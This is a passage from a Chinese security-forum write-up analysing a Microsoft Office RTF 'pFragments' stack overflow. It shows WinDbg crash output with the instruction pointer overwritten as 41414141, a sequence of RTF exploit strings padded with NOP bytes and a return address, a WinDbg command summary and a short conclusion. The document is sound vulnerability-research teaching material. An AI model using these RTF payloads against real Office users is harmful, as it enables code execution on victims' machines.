First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3c523e10 ebx=00000000 ecx=0011ffac edx=00000000 esi=041c7960 edi=00120168
eip=32cf33fc esp=0011ff60 ebp=0011ff60 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll -
mso!Ordinal7356+0x1315:
32cf33fc 8b4804 mov ecx,dword ptr [eax+4] ds:0023:3c523e14=????????
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll -
0:000> g
(a9c.a00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000
eip=41414141 esp=0011fb90 ebp=0011fbb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
5.1.3 office2007环境下的漏洞利用
5.1.4 office2003和2007结合的漏洞利用
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111【添加内容】}}}}
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111【0050】}}}}
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;111111110050【90909090909090909090909090909090909090902f762600】}}}}
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111005090909090909090909090909090909090909090902f762600【9090909090909090909090909090909000000000】}}}}
5.2 windbg指令总结(仅包含此次分析过程中接触的指令)
bp:下断点
ba:内存断点,ba access size [addr]
bl:列出已存在断点
bc:根据上面列出断点的标号,删除对应断点
g:继续运行 db:查看字节数据 db、dw、dd、dq:字节、字、双字、四字
da、du:ascii、unicode
dt:显示变量结构
!address命令可以显示内存信息 使用kb指令显示调用堆栈及栈上的前三个参数 ub指令查看指定地址之前的汇编代码 uf:显示之后的汇编代码
r:查看寄存器 lm: 显示模块信息
6
总结
这次的漏洞分析和之前的流程都不同,从一个引发崩溃的poc文件触发,定位漏洞位置,判断返回地址的偏移,从而自己构造exploit文件。
7
参考资料
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区
# 往期推荐
3. angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目
5. 关于一次在pwnable.kr中input题目的经历(python3)
6. Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap
球分享
球点赞
球在看
点击“阅读原文”,了解更多!